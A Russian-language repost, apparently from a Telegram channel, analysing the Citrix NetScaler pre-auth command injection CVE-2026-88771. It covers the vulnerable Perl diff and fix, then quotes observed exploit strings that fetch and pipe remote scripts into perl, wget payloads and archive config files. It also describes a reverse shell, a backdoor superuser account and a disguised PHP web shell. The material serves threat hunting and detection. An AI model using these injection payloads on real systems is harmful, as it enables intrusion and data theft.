27 сентября Citrix опубликовала бюллетень о восьми уязвимостях NetScaler ADC и NetScaler Gateway. Для двух из них, CVE-2026-88771 и CVE-2026-88772, компания подтвердила эксплуатацию до выпуска исправлений. Обе допускают удаленное выполнение кода, при этом CVE-2026-88771 затрагивает уязвимые NetScaler ADC и Gateway независимо от дополнительных настроек.
Эту новость перепостили все. Уточним детали. Далее материал отсюда:
Вот всё, что охватывает этот совет:
В сообщении Citrix рекомендуется обновить их до следующих фиксированных версий:
Кроме того, это самая значимая и интересная тема с точки зрения «почему мир существует именно так?» и «что мы сделали не так в детстве, чтобы заслужить это?».
Будучи опытными реверс-инженерами Citrix, мы сначала думали, что, возможно, виноват здесь NSPPE: наш старый друг, где существовали почти все уязвимости Citrix NetScaler за последнее десятилетие.
Однако Citrix явно любит играть с нами в игры, и на этот раз всё оказалось иначе.
За эти годы нам пришлось немало заниматься реверс-инжинирингом бинарного файла, и CWE в совете Citrix выглядел скорее как «предназначенная функциональность NetScaler», но при этом каким-то образом отличался от обычного:nsppe
Perl брал вывод grep | sed | awk и подставлял его в shell через обратные кавычки. Если атакер контролировал содержимое лога (а он контролировал - через поле логина/User-Agent), то в $WR_PPE_COREFILE_NAME попадали произвольные символы, которые потом выполнялись как команды.
После фикса (новый код):
Далее авторы преисполнены издевок и прозрачто намекают (насколько я поняла), что патч можно байпассить.
Некоторые попытки выполняли базовое тестирование команд:
Другая пыталась заархивировать всю директорию /flash/nsconfig и поместить архив в LogonPoint:
Также наблюдалась вариация с использованием подстановки команд вместо более распространенного формата через точку с запятой:
Использование ${IFS} дает дополнительную возможность для поиска, так как позволяет командам представлять пробельные символы без использования литеральных пробелов.
В совокупности наблюдаемые команды демонстрируют активность, выходящую за рамки базовой проверки уязвимости. Попытки включали получение и выполнение полезной нагрузки, а также сбор и подготовку данных конфигурации NetScaler.
Новый customsnmpd создает TCP-соединение с 45.141.21[.]130 через порт 443 и перенаправляет стандартный ввод, вывод и ошибки на сокет перед запуском интерактивной оболочки /bin/sh. Исходный скрипт main.py также ищет процессы, связанные с /var/python/bin/customsnmpd, и завершает их.
Это дает защитникам несколько дополнительных возможностей для охоты помимо оригинального файла main.py. Непредвиденная модификация или выполнение /var/python/bin/customsnmpd, соединения с устройства NetScaler на 45.141.21[.]130:443 или активность интерактивной оболочки, связанная с измененным процессом, могут указывать на то, что эксплуатация переросла в начальное выполнение команд и перешла к развертыванию полезной нагрузки второго этапа.
Анализ скрипта показал несколько возможностей пост-эксплуатации:
Эту новость перепостили все. Уточним детали. Далее материал отсюда:
Не удалось прогрузить медиа
Oh Look, The Foot Gun Went Off Again (Citrix NetScaler PreAuth Command Injection CVE-2026-88771)
God damn it, we're back in the room again. Yes, that sound in your ears is screaming. The footgun has gone off again, shockingly, and we are yet again dealing with a situation where the entire world apparently knew about Citrix NetScaler CVEs before Citrix had woken up or
Не удалось прогрузить медиа
labs.watchtowr.com
Не удалось прогрузить медиа
Citrix NetScaler CVE-2026-88771: Observed Exploitation Artifacts and Hunt Indicators
CVE-2026-88771 is a critical pre-authentication command-injection vulnerability affecting Citrix NetScaler ADC and NetScaler Gateway.
Не удалось прогрузить медиа
www.levelblue.com
Кто такой Citrix NetScaler и почему Gateway стал их первым проектом на C?
Citrix NetScaler (переименованный, затем переименованный, так, как это могут делать только поставщики корпоративных сетевых сетей) — это семейство контроллеров доставки приложений и устройств VPN-шлюзов, которые используются практически во всех крупных корпоративных сетях планеты. NetScaler занимается балансировкой нагрузки, выгрузкой SSL, аутентификацией и удалённым доступом — а NetScaler Gateway служит главным входом для инфраструктуры удалённого доступа тысяч организаций.Что такое CVE-2026-88771 и почему у него больше друзей, чем у нас?
CVE-2026-88771 — это предаутентификационная инъекция, которую мы здесь проходим. Это одна из восьми уязвимостей, которые Citrix устранил в одном бюллетене, CTX697096. Это влияет на стандартную конфигурацию и использовалось в реальной ситуации как zero-day, до появления каких-либо исправлений.Вот всё, что охватывает этот совет:
CVEОписаниеCVSS 4.0Эксплуатация в дикой природеCVE-2026-88771Неправильная проверка ввода, позволяющая неаутентифицированному злоумышленнику выполнять произвольные команды. Влияет на стандартную конфигурацию.9.5 КритическоеДаCVE-2026-88772Переполнение памяти, которое может привести к удалённому выполнению кода или отказу в обслуживании при включённом DTLS (стандарт для виртуальных VPN-серверов).9.5 КритическоеДаCVE-2026-88773Контрабанда HTTP-запросов (непоследовательная интерпретация HTTP-запросов). Зависит от конкретных конфигураций.9.3 КритическоеНе сообщаетсяCVE-2026-88774Уязвимость ADC NetScaler и NetScaler Gateway. Зависит от конкретных конфигураций.7.0 HighНе сообщаетсяCVE-2026-88775Переполнение памяти. Зависит от конкретных конфигураций.8.8 HighНе сообщаетсяCVE-2026-88776Переполнение памяти. Зависит от конкретных конфигураций.8.8 HighНе сообщаетсяCVE-2026-88777Переполнение памяти. Зависит от конкретных конфигураций.8.8 HighНе сообщаетсяCVE-2026-88778Предсказуемое значение по сравнению с предыдущими значениями. Исправлено с помощью включения Enhanced ISN Generation, а не только апгрейдом.8.8 HighНе сообщается
В сообщении Citrix рекомендуется обновить их до следующих фиксированных версий:
- Citrix NetScaler ADC и Citrix NetScaler Gateway 14.1-73.37 и более поздние релизы
- Citrix NetScaler ADC и Citrix NetScaler Gateway 13.1-64.23, а также более поздние версии 13.1
- Citrix NetScaler ADC 14.1-FIPS 14.1-73.37 FIPS и более поздние версии 14.1-FIPS
- Citrix NetScaler ADC 13.1-FIPS и 13.1-NDcPP 13.1-37.279, а также более поздние релизы 13.1-FIPS и 13.1-NDcPP
И вот мы отправились в наше путешествие — CVE-2026-88771
Хотя в этом уведомлении много уязвимостей, мы решили сосредоточиться на CVE-2026-88771 — стандартной конфигурации, известной как уязвимая в дикой природе (из многих).Кроме того, это самая значимая и интересная тема с точки зрения «почему мир существует именно так?» и «что мы сделали не так в детстве, чтобы заслужить это?».
Будучи опытными реверс-инженерами Citrix, мы сначала думали, что, возможно, виноват здесь NSPPE: наш старый друг, где существовали почти все уязвимости Citrix NetScaler за последнее десятилетие.
Однако Citrix явно любит играть с нами в игры, и на этот раз всё оказалось иначе.
За эти годы нам пришлось немало заниматься реверс-инжинирингом бинарного файла, и CWE в совете Citrix выглядел скорее как «предназначенная функциональность NetScaler», но при этом каким-то образом отличался от обычного:nsppe
Уязвимость при удаленном выполнении кода возникает из-за неправильной проверки ввода, что может позволить неаутентифицированному злоумышленнику выполнять произвольные команды. Citrix
grep, sed, and Awkward
Одним из интересных файлов, которые изменились (после патча), было .ns_monuploadd_err.pl
Perl:
diff --git a/netscaler/ns_monuploadd_err.pl b/netscaler/ns_monuploadd_err.pl
--- a/netscaler/ns_monuploadd_err.pl # 14.1-73.30
+++ b/netscaler/ns_monuploadd_err.pl # 14.1-73.37
@@
-my $WR_PPE_COREFILE_NAME = `grep -E -i "pitboss.*PPE.*missed too many heartbeats|pitboss.*PPE.*unexpectedly died" @WR_FILES |\
-tail -1 | sed -e 's!.*NSPPE!NSPPE!g' -e 's!(!!g' -e 's!)!!g' | awk '{ print \$1"-"\$2 }'`; # [1]
+my $WR_PPE_COREFILE_NAME = "";
+my $CORE_RE = qr/pitboss.*(NSPPE-\d{2})\s*\((\d+)\).*(missed too many heartbeats|unexpectedly died)/;
+for my $log (@WR_FILES) {
+ open my $fh, '<', $log or next;
+ while (my $line = <$fh>) {
+ $WR_PPE_COREFILE_NAME = "$1-$2" if $line =~ $CORE_RE;
+ }
+ close $fh;
+}
@@
-chomp($WR_PPE_COREFILE_NAME);
-my $WR_PPE_CORE = `find $OFF_DIR/var/core -name ${WR_PPE_COREFILE_NAME}* -print | tail -1`;
+my $WR_PPE_CORE = "";
+if (open my $find, '-|', 'find', "$OFF_DIR/var/core", '-type', 'f',
+ '(', '-name', $WR_PPE_COREFILE_NAME,
+ '-o', '-name', "$WR_PPE_COREFILE_NAME.gz", ')')
+{
+ while (my $found = <$find>) {
+ chomp $found;
+ if ($found =~ /\A[A-Za-z0-9\/\-.]+\z/) {
+ $WR_PPE_CORE = $found;
+ }
+ }
+ close $find;
+}
Что этот патч делает (коротко)
До фикса (старый код):my $WR_PPE_COREFILE_NAME = `grep ... | sed ... | awk ...`; # [1]Perl брал вывод grep | sed | awk и подставлял его в shell через обратные кавычки. Если атакер контролировал содержимое лога (а он контролировал - через поле логина/User-Agent), то в $WR_PPE_COREFILE_NAME попадали произвольные символы, которые потом выполнялись как команды.
После фикса (новый код):
- Заменили shell-пайплайн на нативный Perl-парсинг с жёстким regex: NSPPE-\d{2} и (\d+)
- Запуск find через list form (open my $find, '-|', 'find', ...) — Perl не вызывает /bin/sh, передаёт аргументы напрямую
- Добавили whitelist-проверку пути: \A[A-Za-z0-9\/\-.]+\z — никаких ;, |, `, $() и прочего
Далее авторы преисполнены издевок и прозрачто намекают (насколько я поняла), что патч можно байпассить.
Отчет блютим:Наблюдаемая активность эксплуатации
Одной из самых стабильных характеристик среди выявленных событий были данные аутентификации, содержащие вариации строк pitboss и NSPPE, связанных с эксплуатацией CVE-2026-88771.Некоторые попытки выполняли базовое тестирование команд:
- pitboss PPE unexpectedly died NSPPE;whoami;# X
- pitboss PPE unexpectedly died NSPPE;curl hxxp://64.94.85[.]67:443/update_c08937.pl | perl;# X
- pitboss PPE unexpectedly died NSPPE;wget hxxp://31.56.197[.]72:9090/lula;# X
- pitboss PPE unexpectedly died NSPPE;shell; curl hxxp://31.56.197[.]72:9090/lula;# X
pitboss PPE unexpectedly died NSPPE;cat /flash/nsconfig/ns.conf>/var/netscaler/logon/insight-new.js;# XДругая пыталась заархивировать всю директорию /flash/nsconfig и поместить архив в LogonPoint:
pitboss PPE unexpectedly died NSPPE;tar${IFS}czf${IFS}/var/netscaler/logon/LogonPoint/xua.html${IFS}/flash/nsconfig;# XТакже наблюдалась вариация с использованием подстановки команд вместо более распространенного формата через точку с запятой:
zq pitboss NSPPE XtarIFSczf{IFS}/var/netscaler/logon/LogonPoint/xua.html${IFS}/flash/nsconfigY unexpectedly diedИспользование ${IFS} дает дополнительную возможность для поиска, так как позволяет командам представлять пробельные символы без использования литеральных пробелов.
В совокупности наблюдаемые команды демонстрируют активность, выходящую за рамки базовой проверки уязвимости. Попытки включали получение и выполнение полезной нагрузки, а также сбор и подготовку данных конфигурации NetScaler.
Анализ main.py
Одной из полезных нагрузок второго этапа, выявленных в ходе расследования, был main.py, который размещался по адресу hxxp://23.27.143[.]20:9000/main.py. Анализ скрипта показал, что он нацелен на /var/python/bin/customsnmpd, перезаписывая файл кодом на Python, предназначенным для установления обратной оболочки (reverse shell).Не удалось прогрузить медиа
Новый customsnmpd создает TCP-соединение с 45.141.21[.]130 через порт 443 и перенаправляет стандартный ввод, вывод и ошибки на сокет перед запуском интерактивной оболочки /bin/sh. Исходный скрипт main.py также ищет процессы, связанные с /var/python/bin/customsnmpd, и завершает их.
Это дает защитникам несколько дополнительных возможностей для охоты помимо оригинального файла main.py. Непредвиденная модификация или выполнение /var/python/bin/customsnmpd, соединения с устройства NetScaler на 45.141.21[.]130:443 или активность интерактивной оболочки, связанная с измененным процессом, могут указывать на то, что эксплуатация переросла в начальное выполнение команд и перешла к развертыванию полезной нагрузки второго этапа.
Анализ update_c08937.pl
Другой полезной нагрузкой второго этапа был update_c08937.pl, размещенный по адресу hxxp://64.94.85[.]67:443/update_c08937.pl. Команда эксплуатации использовала curl для получения скрипта и передачи его непосредственно в Perl, что позволило выполнить его, не сохраняя предварительно в фиксированном месте на диске.Не удалось прогрузить медиа
Анализ скрипта показал несколько возможностей пост-эксплуатации:
- Он изменяет /flash/nsconfig/ns.conf, чтобы создать локальную учетную запись с именем sec_monitor и назначает ей роль суперпользователя.
- Архивирует директорию /flash/nsconfig в /tmp/update_result_3567cs.tgz и пытается загрузить полученный архив на 64.94.85[.]67:443, предоставляя злоумышленнику данные конфигурации NetScaler.
- После попытки передачи скрипт удаляет архив и самоуничтожается, уменьшая количество артефактов, остающихся на диске.
- Изменяет разрешения /bin/sh на 6555.
- Развертывает PHP-веб-шелл по адресу /var/netscaler/logon/LogonPoint/.local_journal.
- Изменяет /etc/httpd.conf, чтобы включить выполнение PHP и сопоставить веб-шелл с URL-адресами, напоминающими легитимные ресурсы CSS NetScaler (включая LogonUISimple.html.style.min.css и случайные шестнадцатеричные вариации имени файла). Веб-шелл обеспечивает удаленное выполнение команд, а также функции загрузки и скачивания файлов.
Артефакты пост-эксплуатации
Поведение внутри update_c08937.pl дает несколько артефактов, которые могут помочь определить, была ли полезная нагрузка успешно выполнена. Наиболее важные индикаторы включают учетную запись sec_monitor, изменения в /flash/nsconfig/ns.conf, временный архив /tmp/update_result_3567cs.tgz, измененные разрешения на /bin/sh и PHP-веб-шелл .local_journal. Полезная нагрузка также изменяет /etc/httpd.conf, чтобы открыть доступ к веб-шеллу через URL-адреса, имитирующие легитимные ресурсы CSS NetScaler.
👍4
🤔1
😢1
LIMB